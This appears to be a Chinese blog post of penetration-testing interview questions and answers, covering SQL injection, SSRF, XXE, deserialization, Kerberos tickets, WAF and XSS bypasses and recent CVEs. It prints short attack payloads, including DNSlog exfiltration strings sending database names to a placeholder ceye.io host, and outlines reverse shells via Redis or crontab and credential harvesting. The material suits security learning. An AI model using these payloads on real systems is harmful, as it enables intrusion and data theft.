面试精华问题

问:Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

答:

(1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。

(2)此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。

(3)Mysql 中利用 load_file() 构造payload

*' and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,0)# *

(4)Mssql 下利用 master..xp_dirtree 构造payload

*DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+'.xxx.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"'); *

问:XXE 漏洞原理,代码审计如何寻找?</u>

答:

(1)XXE (XML 外部实体注入)当 应用允许引用 XML 外部实体时,攻击者通过构造恶意内容,就可能进行任意文件读取、系统命令执行、内网端口探测、内网网站攻击等操作。

支持的协议如下图:

image.png

Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)

(2)审计函数,涉及到XML文件处理,都可能造成 XXE

(3)防御方法:禁用外部实体

问:SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?</u>

答:

(1)利用进制转换

(2)利用DNS解析

(3)利用句号(127。0。0。1)

(4)利用[::](http://[::]:80/);

(5)利用@(http://example.com@127.0.0.1);

(6)利用短地址(http://dwz.cn/11SMa);

(7)协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)

问:应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件</u>

答:

(1)任务管理器netstat -anp寻找异常进程PID看端口信息然后根据端口信息定位到文件,cd /proc/PID (ls -l查看),

禁用可疑的服务项。

(2)windows还可以用wmic分析进程参数

问:struts2框架漏洞原理</u>

答:

(1)struts是java的web框架

(2)采取OGNL表达式,处理view层数据字符串到controller层转换成java对象

(3)重点关注的编号加粗如下

S2-057 影响范围非常小

S2-048 影响范围非常小

S2-046 和S2-045一样

S2-045 影响范围较大----通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显

S2-037 影响范围小

S2-032 影响范围小

S2-020 影响范围小

S2-019 影响范围一般

S2-016 影响范围非常大

S2-013 S2-016范围内

S2-009 S2-016范围内

S2-005 S2-016范围内

问:JAVA反序列化原理</u>

答:

(1)Java序列化指Java对象转换为字节序列的过程

(2)Java反序列化指字节序列恢复为Java对象的过程

(3) Commons-collections 爆出第一个漏洞开始,Java反序列化漏洞的事件就层出不穷。

(4)在Java中,利用ObjectInputStream的readObject方法进行对象读取

(5)可以深入了解 ysoserial有哪些gadgets

<u style="margin: 0px; padding: 0px; box-sizing: 问:cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用?</u>

答:

(1)CORS全称是"跨域资源共享"(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,允许浏览器向跨源服务器,发出XMLHttpRequest请求

(2)Origin为*的时候,使用curl测试CORS,

curl <url> -H “Origin: https://evil.com” -I

再寻找的api接口是否有敏感信息泄漏。

(3)同源:协议相同、域名相同、端口相同,绕过同源策略限制的方法:

1、document.domain属性

2、片段识别符(URL后加#号)

3、window.name

4、跨文档通信API

5、JSONP

6、CORS

7、WebSockets

(4)jsonp跨域利用:获取JSON数据并编码发送到远程服务器上

问:phar协议如何利用,php伪协议input与post数据包发送有什么区别?</u>

答:

(1)可以Bypass一些waf,绕过上传限制

(2)Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存

(3) 区别

一、 application/x-www-form-urlencoded 或 multipart/form-data时

php://input 中是原始数据。

$_POST 中是关联数组,且没有上传控件的内容。

二、enctype="multipart/form-data" 时

php://input 是无效的。

三、 Content-Type = "text/plain"时

$_POST 不能获取post的数据, php://input可以。

问:内网服务器,如何进行信息收集</u>

答:

(1)手动,用一些小工具(批量看存活)

new user /domain查域、net view看共享、hosts文件内网ip域名映射、wifi记录和密码、浏览器中的密码、敏感文件、各类服务的配置文件中信息、历史命令、ssh私钥、FTP的连接信息、xshell等ssh连接工具的session文件,3389连接历史和被连接历史信息、某些内网api接口未授权访问

(2)扫描器

主机扫描、端口扫描、漏洞扫描、识别内网环境、密码爆破、抓密码

(3)留后门,抓信息

问:内网黄金票据、白银票据的区别和利用方式</u>

答:

(1)白银票据:抓取到了域控服务hash的情况下,在客户端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

黄金票据:直接抓取域控中账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。

(2)通过mimkatz执行,导出域控中账号的Hash

问:docker远程api漏洞原理</u>

答:

(1)docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,该未授权访问,可以通过url操作,执行docker命令。

(2)通过docker client执行目标服务器容器命令,docker是以root权限运行的

一、有运行ssh服务,/root/.ssh目录挂载到container内,,然后修改/.ssh/authorized_keys 文件,把自己的public key写进去

二、没有运行ssh服务,利用挂载写crontab定时任务,反弹一个shell

问:ssrf怎么用redis写shell</u>

答:

(1)SSRF服务端请求伪造

*一、对内网扫描,获取 banner *

二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)

三、利用协议读取本地文件

四、 云计算环境AWS Google Cloud 环境可以调用内网操作 ECS 的 API

(2)如webligic SSRF漏洞

通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将\r字符串替换成%0d%0a

问:预编译能否100%防sql注入,如果不能,写一个</u>

答:

不能。

一、

类似于宽字节注入

二、

参数name是一串数组,PDO不会生效

三、

PDO对DDL不生效

问:WAF 绕过</u>

答:

1 注释替换空格

2 字符集绕过

3 chunked绕过

4 上传请求 multipart 绕过

5.参数污染

。。。

问:SQL注入构造payload</u>

答:

一、布尔型盲注

(1)mysql :

'and (length(database()))>10 --+

(2)oracle:

' and 1=(select decode(user,'SCOTT',1,0) from dual) --

二、时间型盲注

and if(ascii(substr((select database()),1,1))>115,1,sleep(5))

三、利用报错回显

(1) extractvalue

and extractvalue(1,concat(0x7e,(select database())))

(2) updatexml

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

问:UDF提权原理</u>

答:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd

问:XSS弹窗函数及常见的 XSS 绕过策略</u>

答:

一、alert,confirm,prompt三种函数

二、绕过策略

1. 大小写混合

2. 双写

3.编码

4. fuzz 低频使用标签 <details/open/ontoggle>

5. fuzz 低频使用函数 ontoggle 等

6.<img/src=1>

7.%0a或者%0d绕过

问:Windows cmd 如何下载文件</u>

答:

1.certutil.exe

2.powershell

3.bitsadmin

4.vbs

5.ftp

问:SVN/GIT源代码泄露**</u>

答:

(1)在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息

/.git/config

(2)使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞

/.svn/entries

问:reverse_tcp 和 bind_tcp 的区别</u>

答:

(1)reverse_tcp

木马会主动连接目标服务器

(2)bind_tcp

木马会监听本地的端口

什么是fastjson,有哪些漏洞?

答:

(1)Fastjson是Alibaba开发的Java语言编写的高性能JSON库

(2)攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE

(3)fastjson漏洞历史

1.fastjson-1.2.24

(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)

2.fastjson-1.248以下

(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)

3.fastjson-1.2.60以下

(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)

理解漏洞

讲诉一些近期及有代表性的漏洞


Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688)

该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKeydecryptionKey

Apache Tomcat 文件包含漏洞(CVE-2020-1938)

默认情况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意代码执行(RCE)

Weblogic IIOP反序列化漏洞(CVE-2020-2551)

weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击

Apache Solr远程代码执行(CVE-2019-12409)

默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMX RMI远程代码执行

SHIRO-550 反序列化漏洞

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化

AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞

SHIRO-721反序列化漏洞

不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击

泛微Ecology OA SQL注入漏洞

validate.jsp接口的SQL注入,/cpt/manage/validate.jsp

泛微ecology OA系统接口存在数据库配置信息泄露

/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使用DES算法结合硬编码的key进行解密

Confluence本地文件泄露漏洞(CVE-2019-3394)

catalina.jar中的org.apache.catalina.webresources.StandardRoot.classgetResource方法的validate存在过滤和限制,所以可遍历路径均在/WEB-INF

Apache Dubbo反序列化漏洞(CVE-2019-17564)

当HTTP remoting 开启的时候,存在反序列化漏洞

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容